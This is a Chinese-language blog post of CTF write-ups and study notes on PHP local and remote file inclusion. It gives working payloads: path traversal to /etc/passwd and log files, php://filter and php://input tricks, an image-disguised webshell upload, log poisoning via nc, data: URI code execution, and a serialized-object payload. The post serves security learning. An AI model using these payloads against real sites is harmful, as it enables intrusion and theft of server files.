Web安全文件包含修炼计划

前言

本周任务是File Inclusion【文件包含。

文件包含漏洞简单来说就是在使用函数包含文件时,没有对传入的文件名进行有效的过滤,从而被利用包含了其他文件进来,导致服务器上文件信息的泄露甚至会被注入恶意代码。

文件包含分为LFI【本地文件包含与RFI【远程文件包含,字面意思,其中RFI需要PHP_ini开启url_allow_fopenurl_allow_include

涉及函数

include()require():会获取指定文件中存在的所有文本/代码/标记,并复制到使用include语句的文件中。

include_once()require_once():先验证是否已经包含了文件,如果已经包含了,就不再执行。

include()include_once():包含文件时即使遇到错误,下面代码会依然执行。

require()require_once():包含文件时遇到错误,直接报错退出程序。

LFI【本地文件包含

LFI大多出现在模块加载、模板加载和cache调用这些地方,有多重利用方式。

0x00 Training: PHP LFI

WeChall的一道题,源码如下。

1
2
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;

题目要求包含solution.php

附上payload?file=../../solution.php%00

此处无过滤,仅仅使用了一个拼接的.,因此使用%00截断来注释掉后面的html

这种简单的文件包含需要满足的条件有magic_quotes_gpc=off且小于版本5.3.4

并且很重要的一点是要有权限

这里是摘抄的笔记

记一下一些关键文件。

1
2
3
4
5
../../../../../../../etc/passwd(操作系统用户信息,该文件为所有用户可见)
../../../../../proc/self/environ(proc目录)
../../../../../../var/log/apache2/access.log(apache日志,需要包括所有上级目录访问权限)

还有其他配置文件(Web服务器配置文件,Web日志)

同时还有两种截断,一个是Windows下长于256会被截断,一是Linux 下长于4096会被截断。

0x01 文件包含2

源代码发现有一个upload.php

点开后是一个文件上传+文件包含的组合。

由于include函数包含的文件会直接将其当做PHP解析,所以所有的.txt,.jpg,.gif文件中包含一句话就可以直接菜刀连接。

因此此处只需要将一句话后缀修改上传再使用文件包含进行菜刀连接就行。

1
http://118.89.219.210:49166/index.php?file=upload/201808070803369644.jpg

但是连不上🐎,应当是进行了过滤。

然后看题解才知道还能构造如下代码上传。

1
<script language=php>system("ls")</script>

访问重命名后的连接可以看到这行代码被成功执行了。

显示about hello.php index.php this_is_th3_F14g_154f65sd4g35f4d6f43.txt upload upload.php

那么就能得到了SKCTF{uP104D_1nclud3_426fh8_is_Fun}

这里是摘抄的笔记

PHP的开始和结束的标记一共有四种。

1
2
3
4
<?php phpinfo();?>
<script language="php"> phpinfo();</script>
<? phpinfo();?>
<% phpinfo();%>

此处例1和例2都是可用,而例3需要在PHP.ini中打开short-open-tag,但它在PHP5.4之后就总是可用了无需启用再short-open-tag,例4需要启用的是asp-tags

0x02 Flag在Index里

BugKu的一道题。

click点完并没有什么收获,而题目提示FlagIndex里面,但是无法通过查看源码得到有效信息,因此尝试使用php://filter获取源码。

payload?file=php://filter/convert.base64-encode/resource=index.php

得到flag{edulcni_elif_lacol_si_siht}

此处使用的php://filter涉及到PHP伪协议

1
2
3
4
5
6
7
8
resource=<要过滤的数据流>      
这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

过滤数据流中,过滤器有很多种,有字符串过滤器、转换过滤器、压缩过滤器、加密过滤器。

字符串过滤器
  • string.rot13 //进行rot13转换
  • string.toupper //将字符全部大写
  • string.tolower //将字符全部小写
  • string.strip_tags //去除空字符、HTMLPHP标记后的结果
转换过滤器
  • convert.base64-encode //相当于使用base64_encode()处理所有流数据
  • convert.base64-decode //相当于使用base64_decode()处理所有流数据
  • convert.quoted-printable-encode //无对应函数
  • convert.quoted-printable-decode //相当于使用quoted_printable_decode()处理所有流数据
压缩过滤器
  • zlib.deflate
  • zlib.inflate
  • bzip2.compress
  • bzip2.decompress
加密过滤器

mcryptmdecrypt使用libmcrypt提供了对称的加密和解密。这两组过滤器都支持 mcrypt扩展库中相同的算法,格式为mcrypt.ciphername,其中ciphername是密码的名字,将被传递给mcrypt_module_open()。有以下五个过滤器参数可用:

参数 是否必须 默认值 取值举例
mode 可选 cbc cbc, cfb, ecb, nofb, ofb, stream
algorithms_dir 可选 ini_get('mcrypt.algorithms_dir') algorithms 模块的目录
modes_dir 可选 ini_get('mcrypt.modes_dir') modes 模块的目录
iv 必须 N/A 典型为 8,16 或 32 字节的二进制数据。根据密码而定
key 必须 N/A 典型为 8,16 或 32 字节的二进制数据。根据密码而定

0x03 welcome to bugkuctf

BugKu的一道题,源码。

1
2
3
4
5
6
7
8
9
10
11
12
<!--  
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_cont ents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

此处有三点注意:

  1. isset($user)这里必须要传入这个user变量。
  2. file_get_contents作用是把文件读入字符串,此处这句话就是把user文件读出来的内容需要是welcome to the bugkuctf
  3. include($file); //hint.php提示以上条件满足后读取hint.php文件。

而此处为了满足第二个条件则需要使用到php://input这个PHP伪协议【详细作用就是传进去的参数在作为文件打开的时候,通过Post方式传入的值就作为文件的内容。

因此构造的payload?txt=php://input,再Post传入welcome to the bugkuctf就可以看到回显,不过为什么是hello friend!【雾。

这个时候显然还不能拿到flag,再结合上面第三点的include($file); //hint.php,这是可以使用php://filter伪协议来读出hint.php的内容。

所以构造?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

得到了hint.php源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

有丶激动,于是直接读了flag.php

1
ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦

什么乱七八糟的【雾。

那再读一下index.php的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

这里可以从第八行开始看到如果之前尝试读flag就会被那个preg_match直接给exit掉。

但十三行给了一个重要的信息是unserialize函数,大意是说若传入的file参数不含flag字符串的话就把它包含进来,并且序列化password参数。

flag.php则大意是若file传参进来的文件存在则输出该文件。

那么现在的解决方案就是构造读取flag.php的代码并将其序列化后的值传给password执行。

由于对序列化这一块还不是很熟所以抄了一下作业XD

1
2
3
4
5
6
7
8
9
10
<?php  
class Flag{
public $file;
}

$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
?>

得到序列化后的值是O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终的payload?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到flagflag{php_is_the_best_language}

0x04 Level 3- Double Agent

这题来自Tasteless CTF

源码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file('index.php');
/*
view file: php.ini
so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.
so there will be something in it which enables you to solve this level, wont?

always be UP TO DATE!

hint enough, might just take you seconds to do?!
*/
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!!!

$inc = @$_GET['file'];
@require_once($inc);
?>

此处有几个提示,一是说禁止了RFI,另一个是说在PHP.ini中有敏感信息。

打开会看到一个allow_url_include=On表名此处可以使用PHP伪协议【仅 php://input、 php://stdin、php://memory和php://temp,而enctype="multipart/form-data"时则无法使用php://input

allow_url_fopen=Off则表明无法进行远程读取,即使用菜刀连接。

构造?file=php://input后尝试Post如下数据来获取更多信息。

1
<?php phpinfo();?>

这里可以得到一个Web服务的路径为/var/www/chall/level3

那么现在使用一个scandir()函数来获取目录下的文件名。

构造?file=php://inputPost一个数据。

1
<?php print_r(scandir('/var/www/chall/level3'));?>

就能看到flag文件存放的位置了。

0x05 利用/proc/self/environ

接下来的一些是找不到例题的我只好抱着别人的博客慢慢啃的XD。

/proc/self/environ是当前正在运行的进程的环境变量列表。假设这时有一个不做过滤的index.php,且/proc/self/environ有读写权限。

1
2
3
<?php
include($_GET['$file']);
?>

那么此处抓包修改http请求头可以发现访问?file=../../../../../../../../proc/self/environ的时候该文件内容有所改变,那么这个时候就可以构造恶意的代码在http请求头中,从而读写该文件。

0x06 利用日志文件污染

通常,访问目标系统上的某些对外开放的服务时,系统会自动将访问记录写入到日志文件中,利用这个机制,有可能会将代码写入到日志中。

此操作的前提通常需要做到以下三点。

  1. 找到日志文件,并且有访问和执行权限【包括所有上级目录访问和执行权限。

  2. nc提交木马至对方端口,会被写入对方的日志文件。

  3. 包含日志文件执行代码。

一般日志文件的路径如下。

1
2
3
4
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
/var/log/apache2/access.log

0x07 包含SESSION文件

session文件格式为sess_[phpsessid]phpsessid作为cookie传递,在服务端文件位置会变化。

1
2
3
4
5
6
默认位置
/tmp/(PHP Sessions)
也可能
/var/lib/php/session/(PHP Sessions)
/var/lib/php5/(PHP Sessions)
c:/windows/temp/(PHP Sessions)等文件中。

尝试读取session文件?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7。 在某些特定的情况下如果你能够控制session的值,也许能够获得一个shell

RFI【远程文件包含

当allow_url_fopen=On与allow_url_include=On时

这个时候应当是最简单最容易理解的RFI了。

假设现在对象文件是index.php,代码如下。

1
2
3
4
<?php
$url=$_GET['url'];
include($url);
?>

可以直接构造url=http://localhost/phpinfo.php这样进行攻击。

另外还有一种方法是data:

1
2
3
url=data:text/plain,<?php phpinfo()?>
url=data:text/plain,<?php print_r(scandir(“.”));?>
url=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

当allow_url_fopen=On与allow_url_include=Off时

这个时候只能进行远程文件打开,如同全On的第一条一样。

当allow_url_fopen=Off与allow_url_include=On时

这个时候只能使用一些伪协议如php://inputphp://stdinphp://memoryphp://temp等来进行攻击。

例如可以使用php://input,来执行同时post过去的恶意代码。

防御方法

  1. 访问权限要有控制。

  2. 使用白名单验证被访问的文件。

  3. 过滤../这样的传入参数。